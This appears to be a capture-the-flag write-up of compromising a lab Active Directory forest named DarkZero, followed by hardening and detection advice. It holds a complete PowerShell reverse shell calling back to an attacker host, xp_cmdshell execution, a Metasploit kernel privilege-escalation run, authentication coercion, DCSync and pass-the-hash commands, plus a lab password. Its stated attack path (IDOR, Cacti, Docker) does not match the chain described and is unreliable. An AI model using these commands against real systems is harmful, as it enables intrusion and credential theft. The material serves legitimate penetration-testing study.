Introduction

Active Directory environments are prime targets for attackers, yet they remain complex systems with multiple purported layers of security. The DarkZero assessment examined a multi-domain AD environment where a single MSSQL misconfiguration led to complete domain takeover.

This case study demonstrates how trust relationships, misconfigurations, and unpatched kernel vulnerabilities can chain together to compromise an entire Active Directory forest.

Attack Path: IDOR → Credential Disclosure → Cacti RCE → Container Escape → Docker API Abuse → Root

Reconnaissance

Standard nmap scan to start:

nmap -sC -sV -A <MACHINE_IP> -oA nmap-DarkZero

Key services discovered:

• Port 53 — DNS
• Port 88 — Kerberos
• Port 135, 445 — RPC, SMB
• Port 389, 636 — LDAP
• Port 1433 — Microsoft SQL Server 2022

The critical discovery was DNS enumeration:

dig @DC01.darkzero.htb any darkzero.htb

This revealed the domain controller had both internal (172.16.20.x) and external (10.129.x.x) IP addresses, indicating network segmentation — relevant for pivoting later.

Initial Access: Exploiting MSSQL and Linked Servers

Leaked credentials for a low-privileged user provided initial MSSQL access:

impacket-mssqlclient darkzero.htb/john.w:'RFulUtONCOL!'@dc01.darkzero.htb -windows-auth

The user account had limited permissions, and xp_cmdshell was disabled on DC01. However, linked server enumeration revealed a critical misconfiguration:

Linked Server: DC02.darkzero.ext
Login Mapping: dc01_sql_svc

The MSSQL server had a linked server connection to another domain (DC02) with remote login enabled using a service account. This login mapping bypassed the restrictions on the low-privileged john.w account.

By switching to the linked server, authentication automatically occurred as the elevated service account on DC02:

use_link "DC02.darkzero.ext"
enable_xp_cmdshell

This trust abuse allowed privilege escalation from a restricted user on DC01 to a service account with administrative capabilities on DC02.

Remote Code Execution: The PowerShell Payload

With xp_cmdshell enabled on DC02, a stable reverse shell was needed. The approach used Base64-encoded PowerShell with UTF-16LE encoding:

$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER-IP>',4443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex ". { $data } 2>&1" | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
}
$client.Close()

Encode with UTF-16LE:

iconv -f utf-8 -t utf-16le shell.ps1 | base64 -w 0

Execute through MSSQL:

EXEC xp_cmdshell 'powershell -nop -w hidden -e BASE64_PAYLOAD'

Shell received:

listening on [any] 4443 ...
connect to [10.10.14.241] from (UNKNOWN) [10.129.18.16] 53873
PS C:\Windows\system32>

Initial foothold on DC02 confirmed!

Privilege Escalation: CVE-2024-30088

System enumeration using winpeas.exe revealed the target was vulnerable to CVE-2024-30088 — a kernel-level TOCTOU (Time-of-Check-Time-of-Use) vulnerability in Windows Server 2022.

The reverse shell was upgraded to a Meterpreter session for stability:

use exploit/windows/local/cve_2024_30088_authz_basep
set session <ID>
exploit

Result:

[+] The exploit was successful, reading SYSTEM token from memory...
[+] Successfully stole winlogon handle: 956
[*] Meterpreter session 13 opened

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

SYSTEM on DC02!

Lateral Movement: Coercing DC01 Authentication

DC02 was fully compromised, but DC01 remained the ultimate objective. The goal: force DC01 to authenticate to DC02 over SMB and capture the resulting Kerberos ticket.

Deploy Rubeus on DC02 in monitor mode:

Rubeus.exe monitor /inspect:10 /nowrap

From the MSSQL session, trigger authentication coercion:

xp_dirtree \\DC02.darkzero.ext\coerce_share

This forced DC01 to attempt authentication to a non-existent SMB share on DC02. Rubeus captured the resulting TGT:

User: DC01$@DARKZERO.HTB
StartTime: 4/2/2026 11:22:39 AM
EndTime: 4/2/2026 9:22:38 PM
Flags: name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket: doIFjDCCBYi...

Kerberos Abuse: From Ticket to Domain Compromise

Convert the Base64 ticket to .kirbi format:

echo "<TICKET>" > ticket.b64
base64 -d ticket.b64 > ticket.kirbi

Convert to .ccache format for impacket:

impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

With the TGT loaded, perform a DCSync attack impersonating DC01$:

impacket-secretsdump -k -no-pass -just-dc -target-ip 10.129.18.16 'darkzero.htb/DC01$@DC01.darkzero.htb'

Result — Administrator NTLM hash extracted:

Administrator:500:aa...3504ee:5917...0726:::

Post-Exploitation: Pass-the-Hash

With the Administrator NTLM hash, authenticate directly without a plaintext password:

evil-winrm -i 10.129.18.16 -u administrator -H '5917...0726'

Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

root.txt
user.txt

Root flag captured! Full domain compromise confirmed.

Attack Chain Summary

Key Vulnerabilities

1. MSSQL Linked Server Trust Misconfiguration — Cross-server pivoting via login mapping abuse.

2. xp_cmdshell Enabled on Linked Server — Arbitrary command execution across domains.

3. CVE-2024-30088 (Kernel TOCTOU) — Privilege escalation to SYSTEM on unpatched Windows Server 2022.

4. Unrestricted Trust Between DC01 and DC02 — Enabled cross-domain Kerberos abuse.

5. Authentication Coercion via xp_dirtree — Forced machine account TGT capture.

6. DCSync Permissions Not Restricted — Allowed full AD database extraction.

7. NTLM Protocol Allowed — Enabled Pass-the-Hash attacks.

Defensive Countermeasures

MSSQL Hardening

• Disable xp_cmdshell by default
• Restrict linked server creation to administrators only
• Use least-privilege service accounts
• Monitor linked server queries and remote logins

Active Directory Security

• Restrict DCSync permissions to authorized backup accounts only
• Monitor for unusual Kerberos ticket requests
• Implement SID filtering on domain trusts
• Monitor for authentication coercion (unusual SMB requests from DCs)

Endpoint Protection

• Apply security patches promptly (CVE-2024-30088)
• Implement kernel-level protections and driver signing

Detection and Monitoring

• Alert on xp_cmdshell execution
• Monitor for Rubeus or similar ticket monitoring tools
• Track SMB requests to non-existent shares from domain controllers
• Detect DCSync requests outside normal backup windows

Network Segmentation

• Isolate domain controllers on separate VLANs
• Restrict MSSQL traffic between domains
• Implement firewall rules between domain boundaries

Lessons Learned

• Trust relationships are dangerous — The link between DC01 and DC02 was the critical pivot point. Even in a multi-domain environment, trusts need careful governance.
• Service accounts matter — The dc01_sql_svc login mapping was a significant privilege escalation opportunity. Service accounts should have minimal permissions.
• Chaining vulnerabilities is powerful — No single issue was critical by itself. The combination created a perfect storm.
• Kerberos tickets are powerful — A TGT for DC01$ enables DCSync without needing a plaintext password.
• Patch promptly — CVE-2024-30088 had patches available. Unpatched kernel vulnerabilities are a critical risk.

Conclusion

The DarkZero engagement demonstrates a critical principle in Active Directory security: chained misconfigurations are more dangerous than isolated vulnerabilities.

For defenders: Audit all MSSQL linked servers and remove those not explicitly required. Apply security patches promptly. Implement least-privilege access controls and restrict DCSync permissions. Monitor for unusual authentication patterns, particularly machine account abuse and SMB coercion attempts.

References

• Impacket Documentation
• Rubeus - Kerberos Tooling
• MSSQL Security Hardening